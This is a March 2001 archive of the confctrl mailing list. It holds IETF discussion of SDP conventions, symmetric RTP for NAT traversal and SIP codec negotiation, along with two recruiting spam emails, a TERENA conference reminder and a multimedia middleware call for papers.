 SDP will be used in conjunction with a connection handling /device control
 protocol such as Megaco (H.248) and SIP to communicate the information
 needed to set up ATM  and AAL2 bearer connections. These connections
 include voice connections, voiceband data connections, clear channel
 circuit emulation connections, video connections and baseband data
 connections (such as fax relay, modem relay, SSCOP, frame relay etc.).

 These conventions use standard SDP syntax as defined in RFC 2327 to
 describe the ATM-level and AAL-level connections, addresses and other
 parameters. In general, parameters associated with layers higher than the
 ATM adaptation layer are included only if they are tightly coupled to the
 ATM or AAL layers. Since the syntax conforms to RFC 2327, standard SDP
 parsers should react in a well-defined and safe manner on receiving session
 descriptions based on the SDP conventions in this document. This is done by
 extending the values of fields defined in RFC2327 rather than by defining
 new fields. This is true for all SDP lines except the of the media
 attribute lines, in which case new attributes are defined.


Working Group Summary

 There was working group consensus in support of this proposal.


Protocol Quality

 This document was reviewed for the IESG by Allison Mankin.


From confctrl-owner  Wed Mar 14 10:49:02 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id KAA29095
	for confctrl-outgoing; Wed, 14 Mar 2001 10:49:02 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA29090
	for <confctrl@zephyr.isi.edu>; Wed, 14 Mar 2001 10:49:00 -0800 (PST)
Received: from mail.emarkethost.net (smtp.emarkethost.net [216.34.8.10])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2EImxq09937
	for <confctrl@isi.edu>; Wed, 14 Mar 2001 10:49:00 -0800 (PST)
Message-Id: <200103141849.f2EImxq09937@tnt.isi.edu>
Received: from marketfirst.com ([216.34.8.66]) by mail.emarkethost.net with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id GNQYYVPJ; Wed, 14 Mar 2001 10:48:55 -0800
Date: 14 Mar 2001 18:48:55 GMT
From: PeopleStaff@emarkethost.net
Reply-To: Hire.com@emarkethost.net
To: confctrl@ISI.EDU
Subject: Career Opportunities for ERP Professionals / Peoplestaff
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="------------70DC67B31B0E"
X-MKTFI: ABAADDDCABDALNPOABBADAHJIABALNDC-
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


This is a multi-part message in MIME format.

--------------70DC67B31B0E
Content-Type: multipart/alternative; boundary="------------A70DC67B31B0E"

--------------A70DC67B31B0E
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Even in today's shifting economy, ERP experts can stand on solid
ground.

 Check out Peoplestaff's "Career Scout":

http://hire.emarkethost.net/mk/get/REPS2?_ED=pEY-p1Cu7oA1GfbH7jB-3y  

With the click of your mouse you can identify your requirements
(salary, location, amount of travel, etc.) and when your criteria
matches an opportunity posted with Peoplestaff, either now or in the
future, you will be instantly notified via email. You decide if you
want to take the next step. 

 If you are a hiring manager looking to build a team of ERP experts, we
can help.  We have developed a deep talent pool of ERP experts. Call me
to discuss your needs and some of our innovative ways to build and keep
better teams. 

Our referral program could earn you up to $2000 - click here for
details:

http://hire.emarkethost.net/mk/get/RE2?_ED=WX8xEz-e5raWQQNgzghQoU 

Sincerely, 
Rick Zabor 
PeopleStaff/ Leader Institute 
Perm and Contract Talent Specialists for Enterprise Info Technology 
770.321.1231 x-100 
zabor@peoplestaff.com 

Talent and Career Experts Since 1988 for:
Peoplesoft
SAP 
Oracle 
Lawson 
JD Edwards
CRM 
eCommerce 
eBusiness
Data warehouse
Application Development 
Technology Recruiters 

If you do not wish to receive future news, tips and promotions 
from us, please reply (including all original text) with 
Unsubscribe in the subject line.

-----------Please do not change the next line-----------
ABAADDDCABDALNPOABBADAHJIABALNDC-

Powered by MarketFirst(TM)

--------------A70DC67B31B0E
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html4.0 transitional//en">

<!---------- Begin document [MarketFirst Software, Inc.] V02.04,P=Peoplestaff#2,A=Email to Candidates,D=Peoplestaff#2,V=1------->

<HTML> 
 <HEAD> 
<TITLE> 
Peoplestaff#2
</TITLE>
</HEAD> 

<BODY><TABLE >
<TR>
<TD ALIGN="LEFT" VALIGN="TOP"  COLSPAN=6>
<body bgcolor="#FFFFFF" body link=#FFFFFF vlink=#FFFFFF>
<table width="644" border="0" bordercolordark="#000000" bgcolor="#990000" cellpadding="0" cellspacing="0">
  <tr> 
    <td colspan="4"> <IMG SRC="http://hire.emarkethost.net/mk/get?_A=12469&_D=11945&_V=0&_F=10601" ALIGN=TOP HEIGHT=46 WIDTH=644> </td>
  </tr>
  <tr> 
    <td width="21" bgcolor="#990000" bordercolor="#999966" height="293">&nbsp;</td>
    <td width="169" bgcolor="#990000" height="293" valign="top" bordercolor="#990000"> 
      <p>&nbsp;</p>
      <p> <A HREF="http://hire.emarkethost.net/mk/get/REPS2?_ED=pEY-p1Cu7oA1GfbH7jB-3y"><img src=http://hire.emarkethost.net/images/PSbutton.gif border="0"></a>&nbsp</A> </p>
      
    <p>&nbsp;</p>
      <p>&nbsp;</p>
      <p>&nbsp;</p>
      <p><font face="Verdana, Arial, Helvetica, sans-serif" size="2" color="#993300"><b><font size="1" color="#FFCC00">Talent 
        and Career Experts Since 1988 for:</font></b></font></p>
      <p><font face="Verdana, Arial, Helvetica, sans-serif" size="1" color="#FFFFFF">Peoplesoft<br>
        SAP <br>
        Oracle <br>
        Lawson <br>
        JD Edwards<br>
        CRM <br>
        eCommerce <br>
        eBusiness<br>
        </font><font face="Verdana, Arial, Helvetica, sans-serif" size="1" color="#FFFFFF">Data 
        warehouse<br>
        Application </font><font face="Verdana, Arial, Helvetica, sans-serif" size="1" color="#FFFFFF">Development 
        Technology Recruiters </font></p>
      <p><font face="Verdana, Arial, Helvetica, sans-serif" size="1" color="#FFFFFF">At 
        Peoplestaff we<br>
        have a passion for bringing good people together with good opportunities 
        in the <br>
        ERP and Extended ERP marketplace. </font></p>
      
    </td>
    <td width="1" height="293">&nbsp;</td>
    <td width="457" valign="top" bgcolor="#990000" height="293"> 
      <p>&nbsp;</p>
      <blockquote> 
        <p><font face="Verdana, Arial, Helvetica, sans-serif" size="2" color="#FFCC00">Even in today's shifting economy, ERP experts can stand on solid ground. </font></p>
       
        <p><font face="Verdana, Arial, Helvetica, sans-serif" size="2" color="#FFCC00"> Check out Peoplestaff's <A HREF="http://hire.emarkethost.net/mk/get/REPS2?_ED=pEY-p1Cu7oA1GfbH7jB-3y">"Career Scout"</A> - with the click of your mouse you can specify your requirements (salary, location, amount of travel, etc.) and when your criteria matches an opportunity posted with Peoplestaff, either now or in the future, you will be instantly notified via email. You decide if you want to take the next step. </p>

<p> If you are a hiring manager looking to build a team of ERP experts, we can help.  We have developed a deep talent pool of ERP experts. Call me to discuss your needs and some of our innovative ways to build and keep better teams. </p>

<p><strong>Our referral program could earn you up to $2000 - <A HREF="http://hire.emarkethost.net/mk/get/RE2?_ED=WX8xEz-e5raWQQNgzghQoU">click here for details.</A> </strong>
 </font></p>
        
        <p><font face="Verdana, Arial, Helvetica, sans-serif" size="2" color="#FFCC00">Sincerely, 
          <br>
          Rick Zabor <br>
          PeopleStaff/ Leader Institute <br>
          Perm and Contract Talent Specialists for Enterprise Info Technology 
          <br>
          770.321.1231 x-100 <br>
          zabor@peoplestaff.com </font></p>
      </blockquote>
    </td>
  </tr>
</table></TD>
</TR>
<TR>
<TD ALIGN="LEFT" VALIGN="TOP"  COLSPAN=6>
<font face="Verdana, Arial, Helvetica, sans-serif" size="1">If you do not wish to receive future news, tips and promotions 
from us, please <A HREF="http://hire.emarkethost.net/mk/get/UNSPS2?_ED=rFKixo.Qp-AfEO5Sq5HAZU"><font color="#3333FF"> click here.</A> </font>

<br><br><br><br><br><br><br><br></TD>
</TR>
</TABLE>
<BR>-----------Please do not change the next line-----------<BR>
ABAADDDCABDALNPOABBADAHJIABALNDC-<BR>
<p align="right">
<FONT FACE="Arial,Helvetica" SIZE=-2 >
Powered by</FONT>
<a href="http://www.marketfirst.com">
<FONT FACE="Arial,Helvetica" SIZE=-2 >
<strong>MarketFirst&#153;</strong></FONT>
</a></p></BODY>
</HTML>

<!-- End of document [MarketFirst Software, Inc.-->


--------------A70DC67B31B0E--

--------------70DC67B31B0E--


From confctrl-owner  Wed Mar 14 13:29:07 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id NAA05593
	for confctrl-outgoing; Wed, 14 Mar 2001 13:29:07 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id NAA05588
	for <confctrl@zephyr.isi.edu>; Wed, 14 Mar 2001 13:29:06 -0800 (PST)
Received: from VL-MS-MR002.sc1.videotron.ca (relais.videotron.ca [24.201.245.36])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2ELT2q14136;
	Wed, 14 Mar 2001 13:29:03 -0800 (PST)
Date: Wed, 14 Mar 2001 13:29:03 -0800 (PST)
Message-Id: <200103142129.f2ELT2q14136@tnt.isi.edu>
Received: from go4job.net ([24.203.23.43]) by
          VL-MS-MR002.sc1.videotron.ca (Netscape Messaging Server 4.15)
          with SMTP id GA7I9802.MA1; Wed, 14 Mar 2001 16:27:08 -0500 
From: vente@go4job.net
Reply-To: vente@go4job.net
To: vente@go4job.net
Subject: Go4job.net, la plus grande banque d'emplois au Québec
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

LES AVANTAGES D'ANNONCER VOS OFFRES D'EMPLOIS SUR GO4JOB.NET 
 
NOS TARIFS : 

FORFAIT D'ESSAIS : 199.95 $ pour 15 jours, maximum 100 cv 

(plusieurs autres forfaits disponibles)
 
3,000,000 de pages visitées en cinq mois 
3,500 candidats disponibles en ligne
900 emplois de disponibles
650 entreprises inscrites

Go4job.net, la plus grande banque d'emplois au Québec
 
Pour plus d'informations contactez Alain St-Jean
 
Tél. 450-430-0050
Sans frais 1-877-430-0050
Télécopieur 450-430-0014
Courriel : info@go4job.net
Site Internet : WWW.GO4JOB.NET




 _________________________________________________________
Si vous désirez être retirer de notre liste d'envois, s.v.p. retourner nous cette publicité en inscrivant REMOVE dans la section sujet et notre logiciel vous retirera AUTOMATIQUEMENT de notre prochaine envois.
------------------------------------------------------------------------------------------------------------------------------------------------------------ If you wish to be removed from this advertiser's future mailings, please reply 
with the subject "Remove" and our software will automatically block you 
from their future mailings.



From confctrl-owner  Wed Mar 14 14:54:06 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id OAA08686
	for confctrl-outgoing; Wed, 14 Mar 2001 14:54:06 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA08681
	for <confctrl@zephyr.isi.edu>; Wed, 14 Mar 2001 14:54:05 -0800 (PST)
Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2EMs4q00023
	for <confctrl@isi.edu>; Wed, 14 Mar 2001 14:54:05 -0800 (PST)
Received: from DYN-EXCH-001.dynamicsoft.com ([216.173.40.50])
	by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id RAA12973;
	Wed, 14 Mar 2001 17:57:19 -0500 (EST)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2650.21)
	id <FMX9QMQ5>; Wed, 14 Mar 2001 17:56:11 -0500
Message-ID: <B65B4F8437968F488A01A940B21982BF0128BBB7@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'sip@lists.bell-labs.com'" <sip@lists.bell-labs.com>,
        "'rem-conf@es.net'" <rem-conf@es.net>,
        "'confctrl@isi.edu'"
	 <confctrl@ISI.EDU>
Cc: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Subject: symmetric RTP as a solution for NAT traversal
Date: Wed, 14 Mar 2001 17:56:10 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

I would like to draw your attention to some work we have done on NAT
traversal for sip, documented in:

http://search.ietf.org/internet-drafts/draft-rosenberg-sip-entfw-01.txt

Earlier versions of this draft recommended running RTP over TCP to traverse
NATs, which is very unappealing. This -01 draft describes a way to run RTP
over UDP, and still traverse off the shelf, vanilla, regular, ALG-free NATs.
However, to do so requires a small change in the way RTP is done for
unicast, and a small update to some ongoing SDP work. Thats the reason for
my broad cross-post.

The problem with RTP usage for unicast (at least within SIP), is that there
are effectively two RTP sessions established; the caller specifies, in the
INVITE, the IP address and port pair where they would like to receive
packets, and the called party specifies, in the 200 OK, the IP address and
port where they'd like to receive packets. There are no restrictions on the
source port for sending to these addresses. Unfortunately, this is why NAT
traversal is hard. Most NATs which support UDP create NAT bindings, based on
the source address of packets, when a packet is sent outwards. However,
here, we must create the binding by inspecting the SDP. Thats why ALGs were
needed for UDP.

So, our solution is to fix that. To do so, we define symmetric RTP (aka
bidirectional RTP in the draft). Symmetric RTP runs over UDP, but it uses a
single connection, rather than two. One participant in a call acts as the
active side, and another, the passive side. The active participant sends the
RTP packet, and the passive side receives it. Packets are sent back from the
passive user to the active one, using the source address learned from the
RTP packet just received. So, lets say Joe calls Bob. Joe acts as the active
side of the RTP connection. When the 200 OK arrives from Bob, it contains
Bob's address for RTP; say its IP address X and port Y (abbreviated {X,Y}).
So, Joe sends packets, using source address/port {U,V}, to {X,Y}. Lets say
Joe is behind a NAT. Sending this RTP packet creates a binding in the NAT,
from {U,V} to {A,B}, and rewrites the source IP address/port of the packet
to this pair. When Bob receives this, Bob can send media back to Joe, using
destination address {A,B} and source {X,Y}. These packets arrive at Joe's
NAT, and because a binding has been established, the destination is
rewritten to {U,V}, and then delivered to Joe. Voila. RTP over UDP has just
traversed a NAT without an ALG. The IP address Joe provided in his SDP was
never used, which was good, since it was wrong.

Note that who is active, and who is passive, as far as setting up the RTP
connections, is completely unrelated to who initiates the call. 

This little trick means that we can establish RTP-over-UDP calls with SIP
through vanilla NATs so long as one side has a public address. This covers a
huge amount of calling patterns we are seeing, right off the bat, including
PC to phone and phone to PC. In the case where both are behind NATs, the
draft describes usage of an RTP translator that can be used as an
intermediary. Other solutions may be possible depending on how the NAT
treats UDP packets. More to come.

I have left out some details about how we determine who is active, and who
is passive, and how this is signaled. Well, fortunately for us, there has
been some excellent work in mmusic on the following draft:

http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-comedia-00.txt

which discusses exactly how to use connection oriented media within SDP. All
we need to do is define an additional keyword, BRTP, or something like that,
to describe this new type of connection oriented media, symmetric (aka
bidirectional) RTP.

The draft goes into details about all of this. It requires only small
changes to existing SIP/SDP/RTP devices to support, and can solve a problem
which I believe will continue to hamper ubiquitous deployment of SIP.

Comments? I'll be discussing this work in more detail on Friday during the
SIP session at IETF 50.

Thanks,
Jonathan R.



---
Jonathan D. Rosenberg                       72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.cs.columbia.edu/~jdrosen         PHONE: (973) 952-5000
http://www.dynamicsoft.com
 

From confctrl-owner  Wed Mar 14 23:20:25 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id XAA27635
	for confctrl-outgoing; Wed, 14 Mar 2001 23:20:25 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id XAA27630
	for <confctrl@zephyr.isi.edu>; Wed, 14 Mar 2001 23:20:24 -0800 (PST)
Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2F7KNq19710
	for <confctrl@isi.edu>; Wed, 14 Mar 2001 23:20:23 -0800 (PST)
Received: from DYN-EXCH-001.dynamicsoft.com ([216.173.40.50])
	by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id CAA16698;
	Thu, 15 Mar 2001 02:23:34 -0500 (EST)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2650.21)
	id <FMX9QNL8>; Thu, 15 Mar 2001 02:22:25 -0500
Message-ID: <B65B4F8437968F488A01A940B21982BF0128BBC7@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'Piotr S. Kossowski'" <P.Kossowski@elka.pw.edu.pl>,
        "'sip@lists.bell-labs.com'" <sip@lists.bell-labs.com>,
        "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: RE: [Sip-implementors] Meaning of SDP 'm' line in INVITE transact
	ion
Date: Thu, 15 Mar 2001 02:22:22 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-2"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


(forwarded to sip since there is an open issue here, and also mmusic since
its really an SDP issue)
 

> -----Original Message-----
> From: Piotr S. Kossowski [mailto:P.Kossowski@elka.pw.edu.pl]
> Sent: Friday, February 02, 2001 3:11 PM
> To: sip-implementors@cs.columbia.edu
> Subject: [Sip-implementors] Meaning of SDP 'm' line in INVITE 
> transaction
> 
> 
> Dear All,
> 
> I am a bit confused with description of media nagotiating by SIP.
> I refer to rfc2543bis-2.
> 
> * The first case *
> 
> Example 16.3 of the spec.:
> 
> SDP in INIVTE  contains (from Bell): 
> 
> 	m=audio 3456 RTP/AVP 0 3 4 5
> 
> 200 response contains (from Watson):
> 	
> 	m=audio 5004 RTP/AVP 0 3
> 
> and note: "(...)Watson's list of codecs may or may not be a subset
> of the one offered by Bell"

This is an inconsistency in the spec. The spec also says, in the appendix on
SDP, that the SDP offered in the response needs to be a subset offered in
the request. It turns out that it doesn;'t make a huge difference,  since
the caller can compute the intersection if the called party offers something
larger than the subset. Indeed, for the bidirectional case, they are really
equivalent.

The interesting issue that arises is with DTMF. Lets say we have a UA which
can send DTMF, but can't receive it. It also uses PCMU for audio. Now, if it
puts the DTMF codec in the SDP in the INVITE, since the media stream is
bidrectional, it has committed itself to also being able to receive DTMF,
which it can't. However, if it doesn't include the DTMF codec, listing only
PCMU, and the response is a subset, there is no way the called party (say, a
voicexml server), can indicate that it can receive DTMF. Based on this, one
might argue that the following would be reasonable:

INVITE
m=audio 5004 RTP/AVP 0

200 OK
m=audio 5004 RTP/AVP 0 77
a=rtpmap:77 telephone-event

this would mean that the subset would be used for bidrecitonal codecs, and
the response could contain additional codecs that the entity wanted to
receive only.

An alternative is to define an attribute that allows codecs within a stream
to be unidirectional:

INVITE
m=audio 5004 RTP/AVP 0 77
a=rtpmap:77 telephone-event
a=direction:77 sendonly

200 OK
m=audio 5004 RTP/AVP 0 77
a=rtpmap:77 telephone-event
a=direction:77 recvonly

This is yet another SDP extension. There are many recognized limitations of
SDP, and thus the reasoning behind SDP-ng, which will address this case.

So, what should we do here?

I'm inclined, in the interests of KISS, to:

1. stick with the subset mechanism and correct the inconsistencies in the
flows
2. for this DTMF case, simply say that implementing DTMF codec means being
able to send and receive, if you want to use it as part of a bidreictional
stream.

Comments?

> 
> My questions:
> 
> 1. Would Watson reply with e.g.:
> 
> 	m=audio 5004 RTP/AVP 7 8

No, it would never do this. In this case, they have no codecs in common.

> 
> 2. How would it be possible to decode on one UDP port (5004) more
>    then one media stream simultaneosly ( i mean 0 and 3 on 5004) ?

The RTP contains a payload type number (with values of 0 or 3) in each
packet. So, the sender can change encoding on the fly, as needed. This is
useful for applciation adaptation, and also for using rfc2833 tones in the
media stream.



> 
> 
> * The second case *
> 
> B.1 of the spec:
> 
> SDP in INIVTE  contains: 
> 
> 	m=audio 49170 RTP/AVP 0
> 
> 200 response contains:
> 	
> 	m=audio 57920 RTP/AVP 0 1
> 
> Question: Why UAS added codec with payload 1 ?

Again, inconsistency.


> 
> 
> Generally: If 200 response contains codecs that are not understood
> by caller, session probably fail because ACK cannot change session
> description. Is it true ? Correct me, if not.

Correct.

-Jonathan R.
---
Jonathan D. Rosenberg                       72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.cs.columbia.edu/~jdrosen         PHONE: (973) 952-5000
http://www.dynamicsoft.com

From confctrl-owner  Thu Mar 15 05:02:20 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id FAA08998
	for confctrl-outgoing; Thu, 15 Mar 2001 05:02:20 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id FAA08993
	for <confctrl@zephyr.isi.edu>; Thu, 15 Mar 2001 05:02:19 -0800 (PST)
Received: from erasmus.terena.nl (erasmus.terena.nl [192.87.30.2])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2FD2Gq01623;
	Thu, 15 Mar 2001 05:02:17 -0800 (PST)
Received: (from mail@localhost)
	by erasmus.terena.nl (8.9.3/8.9.3/TERENA) id JAA29628
	for tnc2001-announce-ptr; Thu, 15 Mar 2001 09:16:57 +0100
X-Authentication-Warning: erasmus.terena.nl: mail set sender to tnc2001-announce-request@terena.nl using -f
Received: from kedez.terena.nl (inferno.terena.nl [192.87.30.3])
	by erasmus.terena.nl (8.9.3/8.9.3/TERENA) with ESMTP id JAA29624
	for <tnc2001-announce@terena.nl>; Thu, 15 Mar 2001 09:16:57 +0100
Message-Id: <4.3.2.7.2.20010315091835.00ba6c50@mail.terena.nl>
X-Sender: bert@mail.terena.nl
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
Date: Thu, 15 Mar 2001 09:18:57 +0100
To: tnc2001-announce@terena.nl
From: Bert van Pinxteren <pinxteren@terena.nl>
Subject: Early registration deadline for TNC 2001 approaching!
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Reply-To: Bert van Pinxteren <pinxteren@terena.nl>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Dear colleagues,

Allow me to remind you that the deadline for EARLY REGISTRATION for the 
TERENA Networking Conference 2001 is tomorrow, Friday, the 16th of March!

The early registration fee is euro 450; from the 17th of March, the 
registration fee will be euro 500.

Therefore, if you are planning to go to the Conference, it may be a good 
idea to register NOW.

More information about the Conference itself is available from 
http://www.terena.nl/tnc2001 . Conference dates: 14 - 17 May.

An on-line registration form is available from 
http://www.terena.nl/conf/tnc2001/registration.html .

Best regards,


Bert van Pinxteren.
--------------------------------------------------------------------------
Bert van Pinxteren
TERENA Chief Administrative Officer
Singel 468 D
1017 AW  Amsterdam, The Netherlands
Tel. (direct): +31-20-530 4491; fax: +31-20-530 4499
E-mail: <pinxteren@terena.nl>; http://www.terena.nl
Come to the TERENA Networking Conference 2001! http://www.terena.nl/tnc2001
---------------------------------------------------------------------------


From confctrl-owner  Thu Mar 15 06:18:27 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id GAA11499
	for confctrl-outgoing; Thu, 15 Mar 2001 06:18:27 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA11494
	for <confctrl@zephyr.isi.edu>; Thu, 15 Mar 2001 06:18:26 -0800 (PST)
Received: from odin.unik.no (odin.unik.no [193.156.96.7])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2FEILq10584
	for <confctrl@isi.edu>; Thu, 15 Mar 2001 06:18:25 -0800 (PST)
Received: from tomkri by odin.unik.no with local (Exim 3.16 #2)
	id 14dYLG-0005P0-00; Thu, 15 Mar 2001 15:03:02 +0100
To: ecoop-info@ecoop.org, tcgn@ieee.org, odp@dstc.edu.au,
        reflective-middleware@cs.uiuc.edu, cabernet-events@newcastle.ac.uk,
        confctrl@ISI.EDU, phdoos@ecoop.org, wg7@dstc.edu.au, rem-conf@es.net
Subject: CFP International Workshop on Multimedia Middleware (M3W'01)
From: Tom Kristensen <tomkri@ifi.uio.no>
Date: 15 Mar 2001 15:03:02 +0100
Message-ID: <7r4rwvuo2x.fsf@odin.unik.no>
Lines: 95
X-Mailer: Gnus v5.7/Emacs 20.4
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



                        M3W'01
International Workshop on Multimedia Middleware

       October 5th, 2001, Ottawa, Canada
    in conjunction with ACM Multimedia 2001
          http://www.ifi.uio.no/~m3w

Middleware technologies like the Common Object Request
Broker (CORBA) implementations,  Microsoft's Distributed
Component Object Model (DCOM), and Java RMI have
proved their suitability for "standard" client-server applications.
Middleware abstracts from particular network services and
allows application developers to focus on the application.
However, it is well known in the research community, that today's
middleware solutions are not suited for distributed multimedia
systems, and do not provide the required levels of adaptation
and configurability that is needed to accommodate the diversity
of modern distributed multimedia applications. The goal of the
workshop is to bring together researchers from academia and
industry to identify why today's middleware technologies and
standards fail to appropriately support multimedia applications
and especially to discuss new requirements, approaches, and
solutions.

Areas of interest for this workshop include (but are not limited
to) the following topics:
- Experiences with middleware platforms in multimedia
   application domains
- The design and implementation of multimedia middleware platforms
- Performance analysis of multimedia middleware platforms
- Quality of Service and Realtime support in middleware platforms
- Stream support in middleware platforms
- Support for persistent multimedia objects
- Resolving heterogeneity in multimedia middleware platforms
- Services and APIs for multimedia application development (incl.
security and management)


Format of the workshop:
-----------------------
To  enable  a  highly interactive  workshop,  attendance  will be
limited to about 50 participants.   Participants will be invited based
on the originality,  technical  merit
and  topical  relevance  of  their submissions,  as  well  as  the
likelihood that the
ideas expressed in their submissions will lead to insightful technical
discussions at the
workshop.

Proceedings and submission guidelines:
-----------------------------------------
We seek short paper submissions describing original and unpublished
work. The
page limit for submissions is four pages. All accepted papers will be
published in
a proceeding printed by ACM.  We strongly encurage electronic
submissions via
the workshop's web page (http://www.ifi.uio.no/~m3w).


Important dates:
-----------------
Submission Deadline:  May 15th
Notification:   June 15th
Final version:   July 15th


Workshop Co-Chairs:
-------------------
T. Plagemann, U of Oslo
F. Eliassen, Simula RL


Publicity Chair:
----------------
T. Kristensen, U of Oslo


Program Committee:
--------------------
G. Blair, Lancaster U
V. Cahill, Trinity C. Dublin
A. Campbell, Columbia U
R. Campbell, U of Illinois at UC
V. Goebel, U of Oslo
D. Ionescu, U of Ottawa
D. Karr, BBN
D. Schmidt, DARPA
M. v. Sinderen, U of Enschede
B. Thuraisingham, MITRE
W. Yu, U of Tromsø

---------------------------------------------------------------------

From confctrl-owner  Thu Mar 15 07:59:47 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id HAA15180
	for confctrl-outgoing; Thu, 15 Mar 2001 07:59:47 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id HAA15175
	for <confctrl@zephyr.isi.edu>; Thu, 15 Mar 2001 07:59:46 -0800 (PST)
Received: from nmh.informatik.uni-bremen.de (root@nmh.informatik.uni-bremen.de [134.102.224.3])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f2FFxiq24311
	for <confctrl@ISI.EDU>; Thu, 15 Mar 2001 07:59:45 -0800 (PST)
Received: from domain.informatik.uni-bremen.de (IDENT:root@domain.informatik.uni-bremen.de [134.102.218.58])
	by nmh.informatik.uni-bremen.de (8.10.1/8.10.1) with ESMTP id f2FFxW912448;
	Thu, 15 Mar 2001 16:59:32 +0100 (MET)
Received: (from dku@localhost)
	by domain.informatik.uni-bremen.de (8.9.3/8.8.7) id QAA00643;
	Thu, 15 Mar 2001 16:59:32 +0100
X-Authentication-Warning: domain.informatik.uni-bremen.de: dku set sender to dku@informatik.uni-bremen.de using -f
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Cc: "'sip@lists.bell-labs.com'" <sip@lists.bell-labs.com>,
        "'rem-conf@es.net'" <rem-conf@es.net>,
        "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: Re: symmetric RTP as a solution for NAT traversal
References: <B65B4F8437968F488A01A940B21982BF0128BBB7@DYN-EXCH-001.dynamicsoft.com>
From: Dirk Kutscher <dku@Informatik.Uni-Bremen.DE>
In-Reply-To: Jonathan Rosenberg's message of "Wed, 14 Mar 2001 17:56:10 -0500"
Date: 15 Mar 2001 16:59:32 +0100
Message-ID: <cdhf0vm3a3.fsf@domain.informatik.uni-bremen.de>
Lines: 66
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>>>>> "Jonathan" == Jonathan Rosenberg <jdrosen@dynamicsoft.com> writes:

    Jonathan> Folks, I would like to draw your attention to some work
    Jonathan> we have done on NAT traversal for sip, documented in:

    Jonathan> http://search.ietf.org/internet-drafts/draft-rosenberg-sip-entfw-01.txt

    Jonathan> [...]

    Jonathan> I have left out some details about how we determine who
    Jonathan> is active, and who is passive, and how this is
    Jonathan> signaled. Well, fortunately for us, there has been some
    Jonathan> excellent work in mmusic on the following draft:

    Jonathan> http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-comedia-00.txt

